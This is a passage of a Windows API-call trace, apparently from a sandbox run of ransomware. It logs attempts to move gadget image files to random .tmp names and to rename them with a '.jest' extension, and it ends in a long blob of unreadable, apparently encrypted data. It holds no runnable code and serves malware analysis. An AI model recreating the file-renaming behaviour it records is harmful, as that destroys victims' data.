lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf3d7c3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf3d7c3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x57, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 0x143ce48 [0127.273] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.275] VarBstrFromR4 (in: fltIn=0x47944594, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.16") returned 0x0 [0127.275] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.275] GetTickCount () returned 0x1152434 [0127.275] GetTickCount () returned 0x1152434 [0127.275] CoFreeUnusedLibraries () [0127.275] GetTickCount () returned 0x1152434 [0127.275] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.275] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.275] GetTickCount () returned 0x1152434 [0127.275] IsWindowVisible (hWnd=0x30268) returned 0 [0127.275] Sleep (dwMilliseconds=0x0) [0127.276] GetFullPathNameA (in: lpFileName="RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp", lpFilePart=0x18e708*="RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp") returned 0x8f [0127.276] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", lpFilePart=0x18e708*="prev_hov.png") returned 0x53 [0127.277] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rjhcmvunweehkv-lhruoekjfmihj5uyiuim bpayjj_sni6ziv4gabeycmvfgnm6tfrlkgm5xrjunvz8zj_8nlfqo2 iff0ke3rzd.tmp")) returned 0 [0127.279] GetLastError () returned 0x5 [0127.279] GetLastError () returned 0x5 [0127.279] SetLastError (dwErrCode=0x5) [0127.279] GetLastError () returned 0x5 [0127.279] SetLastError (dwErrCode=0x5) [0127.279] GetLastError () returned 0x5 [0127.279] SetLastError (dwErrCode=0x5) [0127.279] GetFullPathNameA (in: lpFileName="RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp", lpFilePart=0x18e6e4*="RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp") returned 0x8f [0127.279] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RjhcmVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63686a52, cFileName="mVuNWEehkv-lHRuoeKJFmIhj5UYiUIM BPAyJj_sni6ZiV4gABEYCmvfGNm6tfrlKgm5xRJunVz8zJ_8nLFqO2 iFf0ke3RZD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.280] GetLastError () returned 0x2 [0127.280] GetLastError () returned 0x2 [0127.280] SetLastError (dwErrCode=0x2) [0127.280] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.280] GetTickCount () returned 0x1152434 [0127.280] GetTickCount () returned 0x1152434 [0127.280] CoFreeUnusedLibraries () [0127.280] GetTickCount () returned 0x1152434 [0127.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.280] GetTickCount () returned 0x1152434 [0127.280] IsWindowVisible (hWnd=0x30268) returned 0 [0127.280] Sleep (dwMilliseconds=0x0) [0127.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png.jest")) returned 0 [0127.283] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", lpFilePart=0x18e6d8*="prev_hov.png") returned 0x4d [0127.283] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x57, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 0x143ce48 [0127.284] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.285] VarBstrFromR4 (in: fltIn=0x47944594, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.16") returned 0x0 [0127.285] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.285] GetTickCount () returned 0x1152434 [0127.285] GetTickCount () returned 0x1152434 [0127.286] CoFreeUnusedLibraries () [0127.286] GetTickCount () returned 0x1152434 [0127.286] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.286] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.286] GetTickCount () returned 0x1152434 [0127.286] IsWindowVisible (hWnd=0x30268) returned 0 [0127.286] Sleep (dwMilliseconds=0x0) [0127.286] GetFullPathNameA (in: lpFileName="sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp", lpFilePart=0x18e708*="sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp") returned 0x8f [0127.286] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png", lpFilePart=0x18e708*="prev_hov.png") returned 0x4d [0127.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\prev_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\prev_hov.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ssiedlcxqjsis3qtg-qdz3bok_-veywi8lh69iephvi2io s-ndreybvcdei92-apoq2r6dfyvvlsebhedlwrcycsz7y0iw-8shz4.tmp")) returned 0 [0127.289] GetLastError () returned 0x5 [0127.289] GetLastError () returned 0x5 [0127.289] SetLastError (dwErrCode=0x5) [0127.289] GetLastError () returned 0x5 [0127.289] SetLastError (dwErrCode=0x5) [0127.289] GetLastError () returned 0x5 [0127.289] SetLastError (dwErrCode=0x5) [0127.289] GetFullPathNameA (in: lpFileName="sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp", lpFilePart=0x18e6e4*="sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp") returned 0x8f [0127.289] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sSIedlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x65495373, cFileName="dlcxqJSis3qTg-Qdz3BOk_-VEyWi8LH69iePhVI2Io S-nDREYBVCDEi92-ApOQ2r6DfyVVLseBHedlwRCYcSz7Y0iw-8SHZ4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.289] GetLastError () returned 0x2 [0127.289] GetLastError () returned 0x2 [0127.289] SetLastError (dwErrCode=0x2) [0127.291] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.291] GetTickCount () returned 0x1152443 [0127.291] GetTickCount () returned 0x1152443 [0127.291] CoFreeUnusedLibraries () [0127.291] GetTickCount () returned 0x1152443 [0127.291] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.291] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.291] GetTickCount () returned 0x1152443 [0127.291] IsWindowVisible (hWnd=0x30268) returned 0 [0127.291] Sleep (dwMilliseconds=0x0) [0127.291] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\tulip.jpg.jest")) returned 0 [0127.294] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", lpFilePart=0x18e6d8*="Tulip.jpg") returned 0x50 [0127.294] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\Tulip.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade6b6c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbade6b6c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb33b27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x57, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 0x143ce48 [0127.295] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.317] VarBstrFromR4 (in: fltIn=0x47944598, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.19") returned 0x0 [0127.339] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18e9b8, cchData=6 | out: lpLCData="1252") returned 5 [0127.340] SysStringByteLen (bstr="ꈔ欪謫홫᥆鐙ￛ찤淗蠴濎䙎ꍧ렫㞉?\x8c↳쨢擸蓌欧ꍯ틠珌틊䯼ﶟ꼯⮸敄啑庭巋?ꝣ魂埝熦㔠᧋碐뮲ꁠ숧䬰??ᚅ쥑涟맘ጸ생理幘?㛇텸짧?ꃙ넌慝ܸ쥃뽠৐쳓勤绀댂ꬆ씃啚훝᠇뼟侽䷺뻂痨陟存ക嬇뇆꼱陭枅鏍铤垂䴷ꇵ猧똰快褎벁ﯕי巰污蕯殞좒퉈㍌䊡ࣤཙ⠴賔蘣켛᳿茙㹠孁녚紛遢㥣鮃뫉꽶閁泶㑀繉퉷⋁솮릌㹩ଡ଼\x9a菩鏎쭴憸瘜⺒ꣲ撫㭞騑䲞꽯⸹⯊뿖쬈䈡䵔鼊캥ƍⱠLj臇㊬྾鋎⯙?솈茺?땦ࡊ⤻ὀ筋葊ቼ?⫈᎞㐃㕢纘օ죝ꪫ縺켣쏯癍鹫ꗹ倇蹺盽氧涔횅哸ᢘ侤紥嶋㇁ꋒ赇⨝묜Ở﯍郚偪쇮鮁셤瀌ȺㅜJ밪ഡư죖洐踠擘엽뙼េꇯ⭖孽篍獦亪劊雲㝉皹ᝊ痡먠꭮̧ꇦﲇ眥옛롆ᑦ▩離ᕚ쭕齃孍쿉둓ᕈ⾿쑳㶀늣ﳽ譮牚裒洣맖딵䉧ꊋᣎ?싊訊飄߀䪡?裑䞎䆵ୖ졆ᑼ탶躦㗓䫎矢胀酖䮲ᫀ쯥Ժ醬￬ڸ䤟໤蒆䍫쾥瀭䧌⼣뚰륂㙓쒍䂧캧⺈闀殏梍㭳ꖼ䐧瑒帆䴰尡騫?䨬⭼瑰轲ⱑ䀍种雇蟨뾶䡬품䪄㱟뒢☿ʞ褬\x8d耠㤲乵㏚㶊ⓖ㑼ᛙ먷땾텵愄菻㙧嘽᳉曱늎䑒猍囿横ｨﲃ?꫒츽㐱䯐㼁ꔓ⚝桂ᆁ礀ن孬蹚趣⫺߇Ꞓꇿ⮳Ṣ?괗맰Ɤ㺃谻㱛?곃佄꧸㶺靆瞉℡直꺿쎟笞붛寽꧂啳啰㚒頕瓩ྫ⼖❑ꋇ佻败팢맄ﴈ쎩蘽淮䩯Ლ땗貗搰Ʌ갫?ᰇ㚥更ᐫ學㮰려烘ﰕदࢼ仮椤֟䖐⚀?簰ꋎ塣⁓ꚯ╸顷᧔ꝇ湼淏빫铝ౖ댣咵ἑ?揾넡ᕼ⮲䉽㡑︤孜슼曆藡寎度⤚㊁㨥嶆䎱닁ภ轲慀䝇⬪ⶮ룿槕茛썦﫹✨ﱫ香猼娒䠸蟣墲슀䞪偮吶櫍᳜ᶺ沴줍옛縺ﯘM＆勰䨑栓繌琣궎绲ⷐⰲ籹ᓠ㋚还댗?㠣꣔ዤ橷麏ퟢ䏣詫??䇐퐎玢॥嶔ೕ䑽﵊坏꣪盷⣆ᜠ㮸劰ᫀ꺘?᳔︂᫝?嚱끫₧ఇ??庇ꣀ轨뜙躩碣姠?五⹖箽Ἃ㻕ᗇ❚姌㰃㑾Ꝇ㤖㛅￰쉶賟쾎ﱄ쭤횎惒쀊水촮럩ꏭ࢘⿷疸ꤛ㺆ᑲ뀴꥚埉䷍௷䀞㜳蹓捂콎鮈躹甊갫䙺न퉨▰?뻴딇㔪坟ᇷṌ둑ṕ͖偋쒈剃뇪똸뎹㑈ẝ膵硐ଇ뎊塥㱠ꈖォ惷淭嗝珖㣲㨝뇬㖖穴ⲯꂮꜙ㬀Ὥᙖ㈷â㚝ⲛ鯱Ⲕ複沍ᝣ⽟早ꨅ\nﵜ싯올?꧂?锳СၢԮ㘚耕錩͖疅쁑↠‣轶摓몔ᬗ猶괽䵗᭰變瞌뮅甅鈯꿣촏꘨饷뫸ܝ༖쉓㏸阄?뷻ᣥ玮퍭믛✡넼᝟냏츱떾竫藨칦簌赗〃ⷑ⩾튟鑾尧윖ꀯ櫚卑㲋ꛉ臱粆〪찋㤀싇濃θ뼕?啒獴㡚ɟ骇伵?䅎᧠簿稻￥᯼䐨畻筢我ꕆ킳虐᫈씦殡↜嫆膈퇓촄၏᭙접僞쟖訑ע⩷ች줡⇳좉੝给ᚫꩲ౦媧蔤Ꮴ뻻ы逬쫷䪮ۙ뢺‴․윜踙騳Ợ酑ੁ?笔봶뎐褅⠭탘냆થ??仔䉆ैﱾ쬋ꉉퟏ堔㈛ꉛ熮暛丿罌㶣냆뿶癲뇷ꆝ캶淺饢ᡳ㺂䍧啑㖇ⶎᶑ堎擣潗뻲僑壮␨됭쒑ᶮ䯋켄꯵괆맽橑吾䁢ᣣ௽曢텴珵楑ꚨ๑才識ҋ鵂煮Ạﲔ㵽얈쪰??ꇆ㞪콖ᆊ煤ᒃꀡꚎずీ狐댾ැ杖侃⊷騟茗ｂ뤣뎈⨄횡᪽Ⳅ?诸ꬽ᧚⓸鹱ꣵ쿞喋ꖞ빞ꓡᕿÇ䏍쀚ꍧ𣏕飬싍꼣툪畑귒磠¼器鳥젹⓵멸ጙ駹⧃ᬌ擤됶奂⯄쏏ᘤ噾㯅겅ⶂ鉑괯Ꙩꍊइⵢ䎷윀⪖㿓퀸鰀೅쏒፥쮪깧퇚씸Ღ蘙Ꭹꗹ茶⧪赦햳兀?揅䃢鲞ऌ딂⣅棓꯲쒲??Ⱶ쾒賳돏ꎗ㶒ਨ庨꡽驙變Ꟙ엹惝ퟱꀊ軯럦ᣐ앵쫾摲≎?࠺惱?区뺿釻䌈畄䟋ﺋꮌ欝쐍豛⇢䗊貒⬭뇴糪ᑰ쇔殭ꡬ锪躂ﲢ쮽種ᄖ绱粁⥌녕ﱟ⊲ไ蔃綪ꋔಒ冂뫣ᕈ쀈챥礮쥳붜ꗴ螹ꋌ拕ꊧ毜쪟딾鸭㰺櫿Ҡퟌ殺께퓮⋮弳殺Ⱬ눤薛ᆌ?瀳彂팭拭喐Ȅ䳥ꖖ瑥ꡞ滉嘦裁Ж쐼同⫷ꃖ☣过㌵㿞ꭻ㎯౗斡뱁翛ᲀ᥹观劓঄⯔⺅甌㦤᧿碄㔇怀﨧飹櫪Ἔꃊ椂ꠂ෤ͺ嘸覌챢殓眬ꨴ쨲㯯挒ଵ鷋᭞烩◉≵ᡶ훓阕눶縗윾슰ຕ\x18⦒䠔䐀꿋䔗୧넎胘筲◡俳쿽?侮届竄椟澗猨脚ᷤ靏?켂ꮆ䱷艠╨¿?뷥䩨垃䭠袑疏ኀ᫽迒㓨繹ꏬ膬䀂粁◞鉫庙ٹ듖晩ёᗤ︷蓣뷂횒ၳ肧ﾤ譿粃拧忎k෬劥㸳맃궐⧖뫫⹧頮癄읟荡覝這ջꩾ?ﳛ梇놎〚㒯嬸?嫨ㅶද洯䳕뙌滵솥娶앃䵤?猹䥢븁䏾嘑補⥙윱熱蜾㙸矗㢭渪堒喎䣛⧌ྚ륎즥팝钯㙵秴俗⡾輡뙜﾿锆᷏겧臩⟣몝耨硏ᛥ鶖༱牛ᭅ姃?㤗㙖寿췓ﰟ⌚?큧쉭鋕儭鱌늇ᇬ魜㫕枢䆓乓邆⎎鹲ᅤ暈㩏䳯ҷ?咮㏡⢭䝊䜟㎥醆鮊쵃神᧌횒쨥⇂埖ᆒ倖㜾鄔ʳ웂쎰﹏⾭Ć幘槏⯐̋⢼⇬贎酨峯ꏭ蛦펗팔唿鑁ⴃ澶蘴㴒蘨匉㡲䜉⼏톌蔮骆ᴗ濍멪⺡࡬㏃㙟摑싩촡⒅왂鲤ꢞ὎՝튇槁椯漋뷼돢奮铤䄝㗮岢癫ᥒྻ䁀㒞풏┛酊싓뫠둿눸듀鞥ㅕ涗퓴鮀?眭핀㌕뛥뱎嬠؇㟼?碌鴵魌믢兂幍뺴赭侦㟱ĵ閯䶤ꍇ맙پ䜢怒檑朶证቎쎖肰䚀룏䉼⍺ﺚᷗ拕鬡闋ꇊ䋄賲璐澔☍迭꩖㹡탆?ᠯ꼨꼢⚡⁹栌鴟뢿浟홓鐾ꥤ씊?단狄ኬ쮫嶽蘌⾫僴饠怎뜟됯毆쐱퐍ֵ理꘼䭝黟悡ᚰⴈ?❤슈Մ黋᱂ḍ⚿ᬭ⇗㍎욦杸뫷员翊?牝缡롎㱅﬚튁Ѵ咑揵︥?씈⹯窋苴꥘櫭䢙瘂楍껹疐芹ꂙ꠩ꍵ⢠뫉㇯Ⰿ夘콻첢叉⇂䨲䗽?㫷읙퓎溪豏㲗틌鬳㰔ѝ됙๦憇倗䶮䓙ᶣ謉鑲槟읅쩙떒孵肢벚晀쑓ꇣ쌍畿蘭瀎盌㝇㤢쾏㞫퉕餲㍊᲍옟꟢懗粱맍뾈׺翯ﰪ횇后렼핲꽼఩䬋軡뽤蹋癙︊矱ᙽ崍銾䁪⠈꾲骂䁓諈阑虉埝鱺?ẃ₋쥜?섈镈걿⫑ꊴ浈䕱悕ዊ帚柽銁㐚⣔ᗳ欨?䒸᝵ᶦ?ওꆗ閎訫殺ꓟ⎨劺ഃ璏㺦ﲌ㘙⧪ᕏ巺峟巍끥ꏅ긜ꩆ粉፾੔邶鑲而쭭캱즇䒶碮枺ㆱ᎓萯ബ蛿홤歃蔧푪ᖭ䶳≎覀㮘䐭땴럇㘷얫빥쾫ሺ焾욭֔??쐈部撀夊쀹跽ᯛ欄㯵컏䐡㣙刐ዝ❯俆骎?傋㕿鲱췪豮⌽屐ẟኔⷲ᠞㚁濄᰹⦏柙巠猙녫㤺휶ἒ䯺Ӆҙᇸ㪉ꑂ혞ꫠᕧ㢁?ᚔಷ㊛뉝羼狲⸑႙窇┚䚼釒䵇儅劢◷꘱芒嵤ന跌ᜟ뼤藣召⭒㸍៽뼯逦眚ಕ湐䭺귬᳞ᙏܫఁ㙝䪠莎똝䝧掚ퟋꏗた崅ꈍ籀쎤燋緺糃ፊ㚝젏蔹午ꖛႃ卄냷⌻萛亖尮黍㐫뵾걌ʭᄞ並兮概ᄧ줗숤㍞悍䭋ܪﴼꉁ厷ၯｕ㳀⽾絝풩㵳짦怼댿櫧亴楡즢㤰唌텘ꍁ虭맩ￅ敷ꡡኧ窪ﭽꧮꢺ휲㴻Ừ宁෱뒑⏙薖뙯㰵≻㐙蓾夊ꡈﮎ䳌쫠쒤빒涿閁㱐쭦飊淚ꉓ炽죉ᚘ䀾ᶈ垔੽紘뙅ళ䠩왷욼⅒ퟝ쳪帣蘒ஏ쾀绠﬑퇼荡쑳㼺繁拧謌ꫴ뼋솥蚰쳺䚋亝鸌䍢ဏ邛栉噧坞塽㏟问唺啿ᨄ쫖鈑㘼쯻僇墂ꞝヷ屏?邗轧썚ꌐ킞༧ؽ禝슂剜踂碫끭⟠脁䘴氰ᮇ份⣺龫舞䓣吉쪭ࠗ齇晗ꮽ㻡땫䫻䙵?侦찤熇∉푴뼚⴫⛵ꠋꚄヹ座鐉ᗸ쒍ᶮ樹⺧墫?묤髲逮⒬亱ﰎ郦껢䉳緒ꉸ淧ࢀ啨掔륳咥蓶↏힁㸎蛶钝漬㴅顼ʅ⃽䁁샨滑棥〶넃껜፾엀ꨛ礑삅톁?흎瀂ኅⶲ䲹㤖᳢ᠴ㋞襦裔՘ꋼ꧒㶌挌㕼뵙쿕쮂泈≪졞㡳啰倪梻࿂㢟鏰熬顴ᾦ絯ⷸ懣♉㢾櫐ﺎ膅ឩ㕇㞦艼퍌樛竛麂דּ呰㈸댙Ⴚ핇ꕷ떉熧䝮ᔾ쟟꣇笚蕶孹뿘ｖ䉏픆╳?瑿웚⵬ទᙍ舌䬜妋斴ꕭ鼮篯翤꣞Ἦ㰎ⲩ潌⣬벫ᘱ፡谼綼푰훧岹鄘⸎ᑼꉺ?ꑮ䧫䂂떻፛଍䧗秔ᄬ⟉㏷剬꣞擙僚쌫侏욻ⶹĔꁥᝓ︴⬮법韑㠡駈涄ї俇?柝뉑圴쁺찣绲잛㍟₊ꫀႯ꒝搆坴갘ꎉ珠Ұ좁ꈚ￯ꅆ뉲代耚랹䧞췎⩳∍鍿⢰裡ﰻ뤗㘙텄觪晈뚓巢ꍆ䌓俲㫾낂㐭⭘魸